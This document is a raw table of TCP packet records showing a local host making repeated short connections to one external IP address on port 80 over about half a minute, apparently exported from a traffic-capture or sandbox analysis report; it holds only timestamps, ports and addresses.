Nov 20, 2024 10:57:55.028426886 CET	58514	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:55.033361912 CET	80	58514	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:55.033418894 CET	58514	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:55.038345098 CET	80	58514	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:55.757050991 CET	80	58514	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:55.757066965 CET	80	58514	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:55.757237911 CET	58514	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:55.757237911 CET	58514	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:55.762200117 CET	80	58514	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:55.906955004 CET	58515	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:56.032571077 CET	80	58515	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:56.032777071 CET	58515	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:56.034521103 CET	58515	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:56.039462090 CET	80	58515	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:56.039529085 CET	58515	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:56.044425011 CET	80	58515	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:56.796859026 CET	80	58515	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:56.796874046 CET	80	58515	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:56.797066927 CET	58515	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:56.797068119 CET	58515	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:56.804995060 CET	80	58515	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:56.943567991 CET	58516	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:56.948486090 CET	80	58516	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:56.948596954 CET	58516	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:56.950526953 CET	58516	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:56.955427885 CET	80	58516	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:56.955480099 CET	58516	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:56.960361004 CET	80	58516	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:57.812340021 CET	80	58516	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:57.812611103 CET	58516	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:57.812985897 CET	80	58516	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:57.813035965 CET	58516	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:57.817445993 CET	80	58516	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:57.968700886 CET	58518	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:57.977046967 CET	80	58518	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:57.977235079 CET	58518	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:57.979212999 CET	58518	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:57.984013081 CET	80	58518	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:57.984069109 CET	58518	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:57.988939047 CET	80	58518	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:58.732697964 CET	80	58518	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:58.732713938 CET	80	58518	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:58.732769012 CET	58518	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:58.732819080 CET	58518	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:58.738049030 CET	80	58518	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:58.876892090 CET	58524	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:58.882597923 CET	80	58524	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:58.882788897 CET	58524	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:58.884505033 CET	58524	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:58.889535904 CET	80	58524	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:58.889595985 CET	58524	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:58.894628048 CET	80	58524	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:59.631649971 CET	80	58524	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:59.631668091 CET	80	58524	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:59.631769896 CET	58524	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:59.631850004 CET	58524	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:59.636684895 CET	80	58524	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:59.776001930 CET	58530	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:59.780862093 CET	80	58530	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:59.780939102 CET	58530	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:59.782968998 CET	58530	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:59.787826061 CET	80	58530	94.156.177.41	192.168.2.4
Nov 20, 2024 10:57:59.787877083 CET	58530	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:57:59.797323942 CET	80	58530	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:00.539496899 CET	80	58530	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:00.539640903 CET	58530	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:00.539813995 CET	80	58530	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:00.539869070 CET	58530	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:00.545759916 CET	80	58530	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:00.675981045 CET	58536	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:00.680928946 CET	80	58536	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:00.684600115 CET	58536	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:00.686570883 CET	58536	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:00.691399097 CET	80	58536	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:00.691488981 CET	58536	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:00.696300983 CET	80	58536	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:01.430891037 CET	80	58536	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:01.430906057 CET	80	58536	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:01.431288004 CET	58536	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:01.431288004 CET	58536	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:01.438503027 CET	80	58536	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:01.567682028 CET	58543	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:01.574132919 CET	80	58543	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:01.574197054 CET	58543	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:01.576360941 CET	58543	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:01.582573891 CET	80	58543	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:01.582640886 CET	58543	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:01.589910030 CET	80	58543	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:02.329118013 CET	80	58543	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:02.329549074 CET	80	58543	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:02.329621077 CET	58543	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:02.343796015 CET	58543	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:02.348680973 CET	80	58543	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:02.590184927 CET	58553	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:02.600543976 CET	80	58553	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:02.604665995 CET	58553	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:02.613675117 CET	58553	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:02.622912884 CET	80	58553	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:02.624665022 CET	58553	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:02.629683971 CET	80	58553	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:03.353976011 CET	80	58553	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:03.354048967 CET	80	58553	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:03.354105949 CET	58553	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:03.354106903 CET	58553	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:03.364160061 CET	80	58553	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:03.501194954 CET	58559	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:03.509105921 CET	80	58559	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:03.509408951 CET	58559	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:03.511341095 CET	58559	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:03.519149065 CET	80	58559	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:03.519337893 CET	58559	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:03.524365902 CET	80	58559	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:04.399334908 CET	80	58559	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:04.399352074 CET	80	58559	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:04.399421930 CET	58559	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:04.399496078 CET	58559	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:04.406032085 CET	80	58559	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:04.533153057 CET	58565	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:04.538120985 CET	80	58565	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:04.538213968 CET	58565	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:04.539978981 CET	58565	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:04.544979095 CET	80	58565	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:04.545049906 CET	58565	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:04.549925089 CET	80	58565	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:05.306345940 CET	80	58565	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:05.306459904 CET	58565	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:05.306499958 CET	80	58565	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:05.306552887 CET	58565	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:05.314152002 CET	80	58565	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:05.442004919 CET	58572	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:05.447024107 CET	80	58572	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:05.447101116 CET	58572	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:05.449069023 CET	58572	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:05.453937054 CET	80	58572	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:05.453999043 CET	58572	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:05.461836100 CET	80	58572	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:06.207166910 CET	80	58572	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:06.207180023 CET	80	58572	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:06.207266092 CET	58572	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:06.207374096 CET	58572	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:06.214440107 CET	80	58572	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:06.350982904 CET	58582	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:06.358406067 CET	80	58582	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:06.358509064 CET	58582	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:06.360265970 CET	58582	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:06.367758036 CET	80	58582	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:06.367844105 CET	58582	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:06.373209953 CET	80	58582	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:07.123575926 CET	80	58582	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:07.123684883 CET	58582	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:07.123737097 CET	80	58582	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:07.123780012 CET	58582	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:07.131818056 CET	80	58582	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:07.267256975 CET	58588	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:07.276088953 CET	80	58588	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:07.276226997 CET	58588	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:07.278301001 CET	58588	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:07.286922932 CET	80	58588	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:07.287005901 CET	58588	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:07.291914940 CET	80	58588	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:08.022133112 CET	80	58588	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:08.022254944 CET	80	58588	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:08.022325993 CET	58588	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:08.022325993 CET	58588	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:08.029885054 CET	80	58588	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:08.160388947 CET	58594	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:08.168382883 CET	80	58594	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:08.168483019 CET	58594	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:08.170245886 CET	58594	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:08.175976992 CET	80	58594	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:08.176054001 CET	58594	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:08.181195021 CET	80	58594	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:08.911760092 CET	80	58594	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:08.911815882 CET	80	58594	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:08.911859989 CET	58594	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:08.911911011 CET	58594	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:08.916984081 CET	80	58594	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:09.050929070 CET	58600	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:09.057393074 CET	80	58600	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:09.057501078 CET	58600	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:09.059215069 CET	58600	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:09.065776110 CET	80	58600	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:09.065860033 CET	58600	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:09.072288990 CET	80	58600	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:09.796715021 CET	80	58600	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:09.796821117 CET	58600	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:09.796991110 CET	80	58600	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:09.797039032 CET	58600	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:09.804163933 CET	80	58600	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:09.945609093 CET	58606	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:09.952558041 CET	80	58606	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:09.952723980 CET	58606	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:09.954740047 CET	58606	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:09.959579945 CET	80	58606	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:09.959629059 CET	58606	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:09.964580059 CET	80	58606	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:10.692233086 CET	80	58606	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:10.692364931 CET	58606	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:10.692384958 CET	80	58606	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:10.692442894 CET	58606	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:10.701297998 CET	80	58606	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:10.831062078 CET	58613	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:10.836103916 CET	80	58613	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:10.836179972 CET	58613	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:10.838181019 CET	58613	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:10.847428083 CET	80	58613	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:10.847502947 CET	58613	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:10.856168032 CET	80	58613	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:11.593069077 CET	80	58613	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:11.593080997 CET	80	58613	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:11.593142986 CET	58613	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:11.593192101 CET	58613	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:11.600677013 CET	80	58613	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:11.802206993 CET	58623	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:11.809053898 CET	80	58623	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:11.813007116 CET	58623	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:11.815056086 CET	58623	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:11.821470976 CET	80	58623	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:11.824398994 CET	58623	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:11.830007076 CET	80	58623	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:12.566646099 CET	80	58623	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:12.566744089 CET	58623	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:12.566922903 CET	80	58623	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:12.567014933 CET	58623	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:12.573029041 CET	80	58623	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:12.704860926 CET	58629	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:12.711297989 CET	80	58629	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:12.712594986 CET	58629	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:12.714579105 CET	58629	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:12.720561028 CET	80	58629	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:12.724589109 CET	58629	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:12.731090069 CET	80	58629	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:13.483200073 CET	80	58629	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:13.483231068 CET	80	58629	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:13.483556032 CET	58629	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:13.484555960 CET	58629	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:13.489483118 CET	80	58629	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:13.645864010 CET	58635	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:13.651386023 CET	80	58635	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:13.651488066 CET	58635	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:13.653477907 CET	58635	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:13.658410072 CET	80	58635	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:13.658489943 CET	58635	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:13.663367987 CET	80	58635	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:14.396718025 CET	80	58635	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:14.396836996 CET	80	58635	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:14.396851063 CET	58635	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:14.397083044 CET	58635	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:14.401721001 CET	80	58635	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:14.533857107 CET	58641	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:14.538934946 CET	80	58641	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:14.539014101 CET	58641	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:14.541049004 CET	58641	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:14.545929909 CET	80	58641	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:14.545996904 CET	58641	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:14.552557945 CET	80	58641	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:15.281114101 CET	80	58641	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:15.281239986 CET	80	58641	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:15.281301022 CET	58641	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:15.281301975 CET	58641	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:15.287375927 CET	80	58641	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:15.447985888 CET	58650	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:15.452862978 CET	80	58650	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:15.453082085 CET	58650	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:15.455130100 CET	58650	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:15.460088015 CET	80	58650	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:15.460582972 CET	58650	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:15.467375040 CET	80	58650	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:16.229127884 CET	80	58650	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:16.229224920 CET	80	58650	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:16.229259014 CET	58650	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:16.229304075 CET	58650	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:16.234194040 CET	80	58650	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:16.375708103 CET	58657	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:16.380997896 CET	80	58657	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:16.381113052 CET	58657	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:16.382903099 CET	58657	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:16.391623020 CET	80	58657	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:16.391719103 CET	58657	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:16.398523092 CET	80	58657	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:17.138398886 CET	80	58657	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:17.138418913 CET	80	58657	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:17.138536930 CET	58657	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:17.138631105 CET	58657	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:17.143457890 CET	80	58657	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:17.281317949 CET	58664	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:17.286447048 CET	80	58664	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:17.286541939 CET	58664	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:17.288305998 CET	58664	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:17.293239117 CET	80	58664	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:17.293395996 CET	58664	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:17.298394918 CET	80	58664	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:18.031718016 CET	80	58664	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:18.031744957 CET	80	58664	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:18.031800985 CET	58664	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:18.031850100 CET	58664	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:18.036772013 CET	80	58664	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:18.174050093 CET	58670	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:18.179006100 CET	80	58670	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:18.179090023 CET	58670	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:18.181020021 CET	58670	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:18.185903072 CET	80	58670	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:18.186000109 CET	58670	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:18.190952063 CET	80	58670	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:18.916189909 CET	80	58670	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:18.916310072 CET	80	58670	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:18.916384935 CET	58670	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:18.916385889 CET	58670	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:18.921295881 CET	80	58670	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:19.096482992 CET	58675	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:19.101382017 CET	80	58675	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:19.101449013 CET	58675	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:19.103928089 CET	58675	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:19.112572908 CET	80	58675	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:19.112622023 CET	58675	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:19.117506027 CET	80	58675	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:19.983401060 CET	80	58675	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:19.983550072 CET	80	58675	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:19.983625889 CET	58675	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:19.983726978 CET	58675	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:19.988578081 CET	80	58675	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:20.124213934 CET	58683	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:20.129295111 CET	80	58683	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:20.129383087 CET	58683	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:20.131119967 CET	58683	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:20.135993004 CET	80	58683	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:20.136054039 CET	58683	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:20.140944958 CET	80	58683	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:20.889894962 CET	80	58683	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:20.889942884 CET	80	58683	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:20.890028954 CET	58683	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:20.890949011 CET	58683	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:20.898961067 CET	80	58683	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:21.033669949 CET	58688	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:21.038562059 CET	80	58688	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:21.038645983 CET	58688	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:21.040473938 CET	58688	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:21.045330048 CET	80	58688	94.156.177.41	192.168.2.4
Nov 20, 2024 10:58:21.045420885 CET	58688	80	192.168.2.4	94.156.177.41
Nov 20, 2024 10:58:21.050288916 CET	80	58688	94.156.177.41	192.168.2.4
